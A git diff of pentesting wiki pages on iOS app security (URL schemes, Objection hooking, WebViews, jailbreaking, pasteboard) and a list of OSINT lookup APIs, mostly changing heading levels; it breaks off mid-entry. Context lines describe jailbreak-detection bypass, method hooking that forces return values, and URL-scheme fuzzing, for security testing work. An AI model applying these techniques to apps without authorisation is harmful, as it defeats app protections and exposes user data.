+++ b/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS Custom URI Handlers / Deeplinks / Custom Schemes - Custom URL schemes [allow apps to communicate via a custom protocol](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW1). An app must declare support for the schemes and handle incoming URLs that use those schemes. > URL schemes offer a potential attack vector into your app, so make sure to **validate all URL parameters** and **discard any malformed URLs**. In addition, limit the available **actions** to those that d**o not risk the user’s data**. @@ -47,7 +45,7 @@ However, note that **malicious applications can re-register URIs** already regis Also, the input of these URIs **should be checked and sanitised,** as it can be coming from **malicious** **origins** trying to exploit SQLInjections, XSS, CSRF, Path Traversals, or other possible vulnerabilities. -### Application Query Schemes Registration +## Application Query Schemes Registration Apps can call [`canOpenURL:`](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc) to verify that the **target app is available**. However, as this method was being used by malicious app as a way to **enumerate installed apps**, [from iOS 9.0 the URL schemes passed to it must be also declared](https://developer.apple.com/documentation/uikit/uiapplication/1622952-canopenurl?language=objc#discussion) by adding the `LSApplicationQueriesSchemes` key to the app's `Info.plist` file and an array of **up to 50 URL schemes**. @@ -61,7 +59,7 @@ Apps can call [`canOpenURL:`](https://developer.apple.com/documentation/uikit/ui `canOpenURL` will always return `NO` for undeclared schemes, whether or not an appropriate app is installed. However, this restriction only applies to `canOpenURL`. -### Testing URL Handling and Validation +## Testing URL Handling and Validation In order to determine how a URL path is built and validated, if you have the original source code, you can **search for the following methods**: @@ -94,7 +92,7 @@ func application(_ application: UIApplication, handleOpen url: URL) -> Bool { } ``` -### Testing URL Requests to Other Apps +## Testing URL Requests to Other Apps The method [`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc) and the [deprecated `openURL:` method of `UIApplication`](https://developer.apple.com/documentation/uikit/uiapplication/1622961-openurl?language=objc) are responsible for **opening URLs** (i.e. to send requests / make queries to other apps) that may be local to the current app or it may be one that must be provided by a different app. If you have the original source code you can search directly for usages of those methods. @@ -107,7 +105,7 @@ egrep -nr "mt-encrypted-file://" ./Telegram-iOS/ egrep -nr "://" ./Telegram-iOS/ ``` -### Testing for Deprecated Methods +## Testing for Deprecated Methods Search for deprecated methods like: @@ -130,7 +128,7 @@ $ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl" ... ``` -### Calling arbitrary URLs +## Calling arbitrary URLs * **Safari**: To quickly test one URL scheme you can open the URLs on Safari and observe how the app behaves. For example, if you write `tel://123456789` safari will try to start calling the number. * **Notes App**: Long press the links you've written in order to test custom URL schemes. Remember to exit the editing mode in order to be able to open them. Note that you can click or long press links including custom URL schemes only if the app is installed, if not they won't be highlighted as _clickable links_. @@ -165,7 +163,7 @@ $ rabin2 -zzq Telegram\ X.app/Telegram\ X | grep -i "openurl" > Note that the use of non-public APIs is not permitted on the App Store, that's why we don't even test these but we are allowed to use them for our dynamic analysis. -### Fuzzing URL Schemes +## Fuzzing URL Schemes If the app parses parts of the URL, you can also perform input fuzzing to detect memory corruption bugs. @@ -177,7 +175,7 @@ What we have learned above can be now used to build your own fuzzer on the langu The [FuzzDB](https://github.com/fuzzdb-project/fuzzdb) project offers fuzzing dictionaries that you can use as payloads. -### **Fuzzing Using Frida** +## **Fuzzing Using Frida** Doing this with Frida is pretty easy, you can refer to this [blog post](https://grepharder.github.io/blog/0x03\_learning\_about\_universal\_links\_and\_fuzzing\_url\_schemes\_on\_ios\_with\_frida.html) to see an example that fuzzes the iGoat-Swift app (working on iOS 11.1.2). @@ -191,7 +189,7 @@ No logs were moved. Opened URL: iGoat://?contactNumber=0&message=0 ``` -## References +# References {% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} diff --git a/mobile-apps-pentesting/ios-pentesting/ios-hooking-with-objection.md b/mobile-apps-pentesting/ios-pentesting/ios-hooking-with-objection.md index 393c5486..905414e2 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-hooking-with-objection.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-hooking-with-objection.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS Hooking With Objection - For this section the tool [**Objection**](https://github.com/sensepost/objection) is going to be used.\ Start by getting an objection's session executing something like: @@ -29,9 +27,9 @@ objection -d --gadget "OWASP.iGoat-Swift" explore You can execute also `frida-ps -Uia` to check the running processes of the phone. -## Basic Enumeration of the app +# Basic Enumeration of the app -### Local App Paths +## Local App Paths * `env`: Find the paths where the application is stored inside the device @@ -46,7 +44,7 @@ You can execute also `frida-ps -Uia` to check the running processes of the phone LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library ``` -### List Bundles, frameworks and libraries +## List Bundles, frameworks and libraries * `ios bundles list_bundles`: List bundles of the application @@ -124,7 +122,7 @@ You can execute also `frida-ps -Uia` to check the running processes of the phone [..] ``` -### List classes of an APP +## List classes of an APP * `ios hooking list classes`: List classes of the app @@ -162,7 +160,7 @@ You can execute also `frida-ps -Uia` to check the running processes of the phone [...] ``` -### List class methods +## List class methods * `ios hooking list class_methods`: List methods of a specific class @@ -195,11 +193,11 @@ You can execute also `frida-ps -Uia` to check the running processes of the phone [iGoat_Swift.CloudMisconfigurationExerciseVC - setCvvTxtField:] ``` -## Basic Hooking +# Basic Hooking Now that you have **enumerated the classes and modules** used by the application you may have found some **interesting class and method names**. -### Hook all methods of a class +## Hook all methods of a class * `ios hooking watch class `: Hook all the methods of a class, dump all the initial parameters and returns @@ -207,7 +205,7 @@ Now that you have **enumerated the classes and modules** used by the application ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController ``` -### Hook a single method +## Hook a single method * `ios hooking watch method "-[ ]" --dump-args --dump-return --dump-backtrace`: Hook an specific method of a class dumping the parameters, backtraces and returns of the method each time it's called @@ -215,7 +213,7 @@ Now that you have **enumerated the classes and modules** used by the application ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return ``` -### Change Boolean Return +## Change Boolean Return * `ios hooking set return_value "-[ ]" false`: This will make the selected method return the indicated boolean @@ -223,7 +221,7 @@ Now that you have **enumerated the classes and modules** used by the application ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false ``` -### Generate hooking template +## Generate hooking template * `ios hooking generate simple `: diff --git a/mobile-apps-pentesting/ios-pentesting/ios-protocol-handlers.md b/mobile-apps-pentesting/ios-pentesting/ios-protocol-handlers.md index b85c9fdb..2f281348 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-protocol-handlers.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-protocol-handlers.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS Protocol Handlers - -## WebView Protocol Handlers +# WebView Protocol Handlers diff --git a/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md b/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md index d88be62a..ec50b425 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-serialisation-and-encoding.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS Serialisation and Encoding - -#### NSCoding and NSSecureCoding +### NSCoding and NSSecureCoding iOS comes with two protocols for object **serialisation** for Objective-C or `NSObject`s: **`NSCoding`** and **`NSSecureCoding`**. When a **class conforms** to either of the protocols, the data is serialized to **`NSData`**: a wrapper for **byte buffers**. Note that `Data` in Swift is the same as `NSData` or its mutable counterpart: `NSMutableData`. The `NSCoding` protocol declares the two methods that must be implemented in order to encode/decode its instance-variables. **A class using `NSCoding` needs to implement `NSObject` or be annotated as an @objc class**. The `NSCoding` protocol requires to implement encode and init as shown below. @@ -70,7 +68,7 @@ let obj = decoder.decodeObject(of:MyClass.self, forKey: "myKey") The conformance to `NSSecureCoding` ensures that objects being instantiated are indeed the ones that were expected. However, there are **no additional integrity checks done** over the data and the data is not encrypted. Therefore, any secret data needs additional **encryption** and data of which the integrity must be protected, should get an additional HMAC. -#### Object Archiving with NSKeyedArchiver +### Object Archiving with NSKeyedArchiver `NSKeyedArchiver` is a concrete subclass of `NSCoder` and provides a way to encode objects and store them in a file. The `NSKeyedUnarchiver` decodes the data and recreates the original data. Let's take the example of the `NSCoding` section and now archive and unarchive them: @@ -96,7 +94,7 @@ if let data = NSUserDefaults.standardUserDefaults().objectForKey("customPoint") } ``` -#### Codable +### Codable It is a combination of the `Decodable` and `Encodable` protocols. A `String`, `Int`, `Double`, `Date`, `Data` and `URL` are `Codable` by nature: meaning they can easily be encoded and decoded without any additional work. Let's take the following example: @@ -129,7 +127,7 @@ struct CustomPointStruct: Codable { } ``` -#### JSON Encoding +### JSON Encoding There are a lot of thrid party libraries to encode data in JSON (like exposed [here](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). However, Apple provides support for JSON encoding/decoding directly by combining `Codable` together with a `JSONEncoder` and a `JSONDecoder`: @@ -152,7 +150,7 @@ let stringData = String(data: data, encoding: .utf8) // }) ``` -#### XML +### XML There are multiple ways to do XML encoding. Similar to JSON parsing, there are various third party libraries, such as: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash) @@ -165,7 +163,7 @@ All these ways of serialising/encoding data can be **used to store data in the f Moreover, in some cases you may be able to **abuse some serialised** data (capturing it via MitM or modifying it inside the filesystem) deserializing arbitrary data and **making the application perform unexpected actions** (see [Deserialization page](../../pentesting-web/deserialization/)). In these cases, it's recommended to send/save the serialised data encrypted and signed. {% endhint %} -### References +## References {% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} diff --git a/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md b/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md index bffb0bd6..749962fd 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-testing-environment.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS Testing Environment - -## Apple Developer Program +# Apple Developer Program A **provisioning identity** is a collection of public and private keys that are associated an Apple developer account. In order to **sign apps** you need to pay **99$/year** to register in the **Apple Developer Program** to get your provisioning identity. Without this you won't be able to run applications from the source code in a physical device. Another option to do this is to use a **jailbroken device**. @@ -30,7 +28,7 @@ Note that **applications signed by the same signing certificate can share resour The provisioning profiles are stored inside the phone in **`/Library/MobileDevice/ProvisioningProfiles`** -## **Simulator** +# **Simulator** {% hint style="info" %} Note that a **simulator isn't the same as en emulator**. The simulator just simulates the behaviour of the device and functions but don't actually use them. @@ -38,7 +36,7 @@ Note that a **simulator isn't the same as en emulator**. The simulator just simu **T**he iOS SDK simulator offers a higher-level _simulation_ of an iOS device. Most importantly, emulator binaries are compiled to x86 code instead of ARM code. Apps compiled for a real device don't run, making the simulator useless for black box analysis and reverse engineering. -### **Simulator** +## **Simulator** The first thing you need to know is that **performing a pentest inside a simulator will much more limited than doing it in a jailbroken device**. @@ -55,7 +53,7 @@ __In the following image clicking in "iPod touch \[...]" you can select other de ![](<../../.gitbook/assets/image (458).png>) -### Applications in the Simulator +## Applications in the Simulator Inside `/Users//Library/Developer/CoreSimulator/Devices` you may find all the **installed simulators**. If you want to access the files of an application created inside one of the emulators it might be difficult to know **in which one the app is installed**. A quick way to **find the correct UID** is to execute the app in the simulator and execute: @@ -70,11 +68,11 @@ However, surprisingly you won't find the application here. You need to access `/ And in this folder you can **find the package of the application.** -## Emulator +# Emulator Corellium is the only publicly available iOS emulator. It is an enterprise SaaS solution with a per user license model and does not offer any trial license. -## Jailbeaking +# Jailbeaking Apple strictly requires that the code running on the iPhone must be **signed by a certificate issued by Apple**. **Jailbreaking** is the process of actively **circumventing such restrictions** and other security controls put in places by the OS. Therefore, once the device is jailbroken, the **integrity check** which is responsible for checking apps being installed is patched so it is **bypassed**. @@ -82,7 +80,7 @@ Apple strictly requires that the code running on the iPhone must be **signed by Unlike Android, **you cannot switch to "Developer Mode"** in iOS to run unsigned/untrusted code on the device. {% endhint %} -### Root in Android Comparison +## Root in Android Comparison iOS jailbreaking is often **compared to Android rooting**, but the process is actually quite **different**. To explain the difference, we'll first review the concepts of "rooting" and "flashing" on Android. @@ -93,7 +91,7 @@ iOS jailbreaking is often **compared to Android rooting**, but the process is ac The purpose of jailbreaking is to **disable iOS protections** (Apple's code signing mechanisms in particular) so that **arbitrary unsigned code can run on the device** (e.g. custom code or downloaded from alternative app stores such as Cydia or Sileo). The word "jailbreak" is a colloquial reference to all-in-one tools that automate the disabling process. -### Jailbreaking Considerations +## Jailbreaking Considerations Jailbreaking an iOS device is becoming more and more **complicated** because Apple keeps hardening the system and patching the exploited vulnerabilities. Jailbreaking has become a very time-sensitive procedure because **Apple stops signing these vulnerable versions relatively soon after releasing a fix** (unless the jailbreak benefits from hardware-based vulnerabilities, such as the [limera1n exploit](https://www.theiphonewiki.com/wiki/Limera1n) affecting the BootROM of the iPhone 4 and iPad 1). This means that **you can't downgrade to a specific iOS version once Apple stops signing the firmware**. @@ -105,14 +103,14 @@ iOS upgrades are based on a challenge-response process (generating the so-called **Updating the OS removes the effect of jailbreaking.** {% endhint %} -### Jailbreak Types +## Jailbreak Types * **Tethered** **jailbreaks** don't persist through reboots, so re-applying jailbreaks requires the device to be connected (tethered) to a computer during every reboot. The device may not reboot at all if the computer is not connected. * **Semi-tethered jailbreaks** can't be re-applied unless the device is connected to a computer during reboot. The device can also boot into non-jailbroken mode on its own. * **Semi-untethered jailbreaks** allow the device to boot on its own, but the kernel patches (or user-land modifications) for disabling code signing aren't applied automatically. The user must re-jailbreak the device by starting an app or visiting a website (not requiring a connection to a computer, hence the term untethered). * **Untethered jailbreaks** are the most popular choice for end users because they need to be applied only once, after which the device will be permanently jailbroken. -### Jailbreaking Tools +## Jailbreaking Tools Different iOS versions require **different jailbreaking techniques**. [Determine whether a public jailbreak is available for your version of iOS](https://canijailbreak.com). Beware of fake tools and spyware, which are often hiding behind domain names that are similar to the name of the jailbreaking group/author. @@ -126,7 +124,7 @@ The iOS jailbreak scene evolves so rapidly that providing up-to-date instruction > Note that any modification you make to your device is at your own risk. While jailbreaking is typically safe, things can go wrong and you may end up bricking your device. No other party except yourself can be held accountable for any damage. -### Benefits +## Benefits The most important side effect of Jailbreaking is that it **removes any sandboxing put in place by the OS**. Therefore, any **app on the device can read any file** on the filesystem, including other apps files, cookies and keychain. @@ -136,13 +134,13 @@ A jailbroken device allows users to **install unapproved apps** and leverage **m **It's not recommended to jailbreak the mobile for regular users** {% endhint %} -### **After Jailbreaking** +## **After Jailbreaking** {% content-ref url="basic-ios-testing-operations.md" %} [basic-ios-testing-operations.md](basic-ios-testing-operations.md) {% endcontent-ref %} -### **Jailbreak Detection** +## **Jailbreak Detection** **Several applications will try to detect if the mobile is jailbroken and in that case the application won't run** @@ -156,7 +154,7 @@ A jailbroken device allows users to **install unapproved apps** and leverage **m You can try to avoid this detections using **objection's** `ios jailbreak disable` -## **Jailbreak Detection Bypass** +# **Jailbreak Detection Bypass** * You can try to avoid this detections using **objection's** `ios jailbreak disable` * You could also install the tool **Liberty Lite** (https://ryleyangus.com/repo/). Once the repo is added, the app should appear in the ‘Search’ tab diff --git a/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md b/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md index 627971ce..6a336844 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-uiactivity-sharing.md @@ -17,15 +17,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS UIActivity Sharing - -## UIActivity Sharing +# UIActivity Sharing Starting on iOS 6 it is possible for third-party apps to **share data (items)** via specific mechanisms [like AirDrop, for example](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW3). From a user perspective, this feature is the well-known system-wide _share activity sheet_ that appears after clicking on the "Share" button. A full list of the available built-in sharing mechanisms can be found in [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). If not considered appropriate for the app, the d**evelopers have the possibility to exclude some of these sharing mechanisms**. -### **Sending Items** +## **Sending Items** When testing `UIActivity` Sharing you should pay special attention to: @@ -48,7 +46,7 @@ $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems 0x1000df034 45 44 initWithActivityItems:applicationActivities: ``` -### **Receiving Items** +## **Receiving Items** When receiving items, you should check: @@ -71,7 +69,7 @@ A very complete explanation about the use of these keys can be found [on Stackov The only thing you always must set for a document type is the role. The **role** can be "**Viewer**" (you can display that file type but you cannot edit it), "**Editor**" (you can display and edit that file type), "**None**" (it's not specified what you can do with that file). * e.g.: You want your **app do be associated with certain file types**, identified either by extension, by MIME type, or by UTI identifier. **If you want your app to be associated with an UTI type, the app should either import or export the type**, as otherwise the type may not be known to the system and registering to unknown UTI type has simply no effect at all. -### Dynamic Testing +## Dynamic Testing For **sending activities** you can: diff --git a/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md b/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md index 55707bfd..9e530454 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-uipasteboard.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS UIPasteboard - The [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) enables sharing data within an app, and from an app to other apps. There are two kinds of pasteboards: * **systemwide general pasteboard**: for sharing data with **any app**. Persistent by default across device restarts and app uninstalls (since iOS 10). @@ -36,13 +34,13 @@ It's also important to check that an **application isn't using the global pasteb An **application can also prevent its users to copy sensitive data to the clipboard** (which is recommended). -### Static Analysis +## Static Analysis The **systemwide general pasteboard** can be obtained by using [`generalPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard/1622106-generalpasteboard?language=objc), search the source code or the compiled binary for this method. Using the systemwide general pasteboard should be avoided when dealing with sensitive data. **Custom pasteboards** can be created with [`pasteboardWithName:create:`](https://developer.apple.com/documentation/uikit/uipasteboard/1622074-pasteboardwithname?language=objc) or [`pasteboardWithUniqueName`](https://developer.apple.com/documentation/uikit/uipasteboard/1622087-pasteboardwithuniquename?language=objc). Verify if custom pasteboards are set to be persistent as this is deprecated since iOS 10. A shared container should be used instead. -### Dynamic analysis +## Dynamic analysis Hook or trace the following: @@ -92,7 +90,7 @@ setInterval(function () { }, 1000 * 5); ``` -## References +# References {% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} diff --git a/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md b/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md index a9d395cd..640ec453 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-universal-links.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS Universal Links - Universal links allows to **redirect users directly** to the app without passing through safari for redirection.\ Universal links are **unique**, so they **can't be claimed by other app**s because they use standard HTTP(S) links to the **website where the owner has uploaded a file to make sure that the website and the app are related**.\ As these links uses HTTP(S) schemes, when the **app isn't installed, safari will open the link** redirecting the users to the page. These allows **apps to communicate with the app even if it isn't installed**. @@ -26,7 +24,7 @@ As these links uses HTTP(S) schemes, when the **app isn't installed, safari will To create universal links it's needed to **create a JSON file called `apple-app-site-association` ** with the details. Then this file needs to be **hosted in the root directory of your webserver** (e.g. [https://google.com/apple-app-site-association](https://google.com/apple-app-site-association)).\ For the pentester this file is very interesting as it **discloses paths**. It can even be disclosing paths of releases that haven't been published yet. -### ​**Checking the Associated Domains Entitlement** +## ​**Checking the Associated Domains Entitlement** n Xcode, go to the **Capabilities** tab and search for **Associated Domains**. You can also inspect the `.entitlements` file looking for `com.apple.developer.associated-domains`. Each of the domains must be prefixed with `applinks:`, such as `applinks:www.mywebsite.com`. @@ -48,13 +46,13 @@ If you only has the compiled application you can extract the entitlements follow [extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md) {% endcontent-ref %} -### R**etrieving the Apple App Site Association File** +## R**etrieving the Apple App Site Association File** Try to retrieve the `apple-app-site-association` file from the server using the associated domains you got from the previous step. This file needs to be accessible via HTTPS, without any redirects, at `https:///apple-app-site-association` or `https:///.well-known/apple-app-site-association`. You can retrieve it yourself with your browser or use the [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/). -### **Checking the Link Receiver Method** +## **Checking the Link Receiver Method** In order to receive links and handle them appropriately, the app delegate has to implement [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). If you have the original project try searching for this method. @@ -62,7 +60,7 @@ Please note that if the app uses [`openURL:options:completionHandler:`](https:// * The scheme of the `webpageURL` must be HTTP or HTTPS (any other scheme should throw an exception). The [`scheme` instance property](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme) of `URLComponents` / `NSURLComponents` can be used to verify this. -### **Checking the Data Handler Method** +## **Checking the Data Handler Method** When iOS opens an app as the result of a universal link, the app receives an `NSUserActivity` object with an `activityType` value of `NSUserActivityTypeBrowsingWeb`. The activity object’s `webpageURL` property contains the HTTP or HTTPS URL that the user accesses. The following example in Swift verifies exactly this before opening the URL: @@ -108,7 +106,7 @@ func application(_ application: UIApplication, } ``` -## References +# References {% embed url="https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8" %} diff --git a/mobile-apps-pentesting/ios-pentesting/ios-webviews.md b/mobile-apps-pentesting/ios-pentesting/ios-webviews.md index fdada9f1..9d42f222 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-webviews.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-webviews.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS WebViews - -## WebViews types +# WebViews types WebViews are in-app browser components for displaying interactive **web** **content**. They can be used to embed web content directly into an app's user interface. iOS WebViews **support** **JavaScript** execution **by default**, so script injection and Cross-Site Scripting attacks can affect them. @@ -42,9 +40,9 @@ WebViews are in-app browser components for displaying interactive **web** **cont * The user's activity and interaction with a `SFSafariViewController` are **not visible to the app**, which cannot access AutoFill data, browsing history, or website data. * According to the App Store Review Guidelines, `SFSafariViewController`s **may not be hidden or obscured by other views or layers**. -## Discovering WebViews Configuration +# Discovering WebViews Configuration -### Static Analysis +## Static Analysis **UIWebView** @@ -75,7 +73,7 @@ $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame" 0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO ``` -#### Testing JavaScript Configuration +### Testing JavaScript Configuration For `WKWebView`s, as a best practice, JavaScript should be disabled unless it is explicitly required. To verify that JavaScript was properly disabled search the project for usages of `WKPreferences` and ensure that the [`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled) property is set to `false`: @@ -92,7 +90,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled" 392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled ``` -#### Testing OnlySecureContent +### Testing OnlySecureContent In contrast to `UIWebView`s, when using `WKWebView`s it is possible to detect [mixed content](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en) (HTTP content loaded from a HTTPS page). By using the method [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent) it can be verified whether all resources on the page have been loaded through securely encrypted connections.\ In the compiled binary: @@ -103,7 +101,7 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent" You can also search in the source code or strings the string "http://". However, this doesn't necessary means that there is a mixed content issue. Learn more about mixed content in the [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content). -### Dynamic Analysis +## Dynamic Analysis It's possible to inspect the heap via `ObjC.choose()` to find instances of the different types of WebViews and also search for the properties `javaScriptEnabled` and `hasonlysecurecontent`: @@ -164,7 +162,7 @@ onMatch: ``` -### Called Function +## Called Function The called function resides in [`JavaScriptBridgeMessageHandler.swift`](https://github.com/authenticationfailure/WheresMyBrowser.iOS/blob/b8d4abda4000aa509c7a5de79e5c90360d1d0849/WheresMyBrowser/JavaScriptBridgeMessageHandler.swift#L29): @@ -369,14 +367,14 @@ let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil) ``` -### Testing +## Testing In order to test send a postMessage inside an application you can: * Change the servers response (MitM) * Perform a dynamic instrumentation and inject the JavaScript payload by using frameworks like Frida and the corresponding JavaScript evaluation functions available for the iOS WebViews ([`stringByEvaluatingJavaScriptFromString:`](https://developer.apple.com/documentation/uikit/uiwebview/1617963-stringbyevaluatingjavascriptfrom?language=objc) for `UIWebView` and [`evaluateJavaScript:completionHandler:`](https://developer.apple.com/documentation/webkit/wkwebview/1415017-evaluatejavascript?language=objc) for `WKWebView`). -## Debugging iOS WebViews +# Debugging iOS WebViews (Tutorial from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)) @@ -404,7 +402,7 @@ With those limitations in mind, here are the steps to remotely debug a webview i ![Safari Web Inspector window](https://blog.vuplex.com/article-assets/20190324-debugging-webviews/mac-safari-inspector.jpg) -## References +# References * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6) * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) diff --git a/online-platforms-with-api.md b/online-platforms-with-api.md index 92fe997e..68785a97 100644 --- a/online-platforms-with-api.md +++ b/online-platforms-with-api.md @@ -17,117 +17,115 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Online Platforms with API - -## [ProjectHoneypot](https://www.projecthoneypot.org/) +# [ProjectHoneypot](https://www.projecthoneypot.org/) You can ask if an IP is related to suspicious/malicious activities. Completely free. -## [**BotScout**](http://botscout.com/api.htm) +# [**BotScout**](http://botscout.com/api.htm) Check if the IP address is related to a bot that register accounts. It can also check usernames and emails. Initially free. -## [Hunter](https://hunter.io/) +# [Hunter](https://hunter.io/) Find and verify emails. Some free API requests free, for more you need to pay. Commercial? -## [AlientVault](https://otx.alienvault.com/api) +# [AlientVault](https://otx.alienvault.com/api) Find Malicious activities related to IPs and Domains. Free. -## [Clearbit](https://dashboard.clearbit.com/) +# [Clearbit](https://dashboard.clearbit.com/) Find related personal data to a email \(profiles on other platforms\), domain \(basic company info ,mails and people working\) and companies \(get company info from mail\). You need to pay to access all the possibilities. Commercial? -## [BuiltWith](https://builtwith.com/) +# [BuiltWith](https://builtwith.com/) Technologies used by webs. Expensive... Commercial? -## [Fraudguard](https://fraudguard.io/) +# [Fraudguard](https://fraudguard.io/) Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. Commercial? -## [FortiGuard](https://fortiguard.com/) +# [FortiGuard](https://fortiguard.com/) Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. -## [SpamCop](https://www.spamcop.net/) +# [SpamCop](https://www.spamcop.net/) Indicates if host is related to spam activity. Have some free API access. -## [mywot](https://www.mywot.com/) +# [mywot](https://www.mywot.com/) Based on opinions and other metrics get if a domain is related with suspicious/malicious information. -## [ipinfo](https://ipinfo.io/) +# [ipinfo](https://ipinfo.io/) Obtains basic info from an IP address. You can test up to 100K/month. -## [securitytrails](https://securitytrails.com/app/account) +# [securitytrails](https://securitytrails.com/app/account) This platform give information about domains and IP addresses like domains inside an IP or inside a domain server, domains owned by an email \(find related domains\), IP history of domains \(find the host behind CloudFlare\), all domains using a nameserver.... You have some free access. -## [fullcontact](https://www.fullcontact.com/) +# [fullcontact](https://www.fullcontact.com/) Allows to search by email, domain or company name and retrieve "personal" information related. It can also verify emails. There is some free access. -## [RiskIQ](https://www.spiderfoot.net/documentation/) +# [RiskIQ](https://www.spiderfoot.net/documentation/) A lot of information from domains and IPs even in the free/community version. -## [\_IntelligenceX](https://intelx.io/) +# [\_IntelligenceX](https://intelx.io/) Search 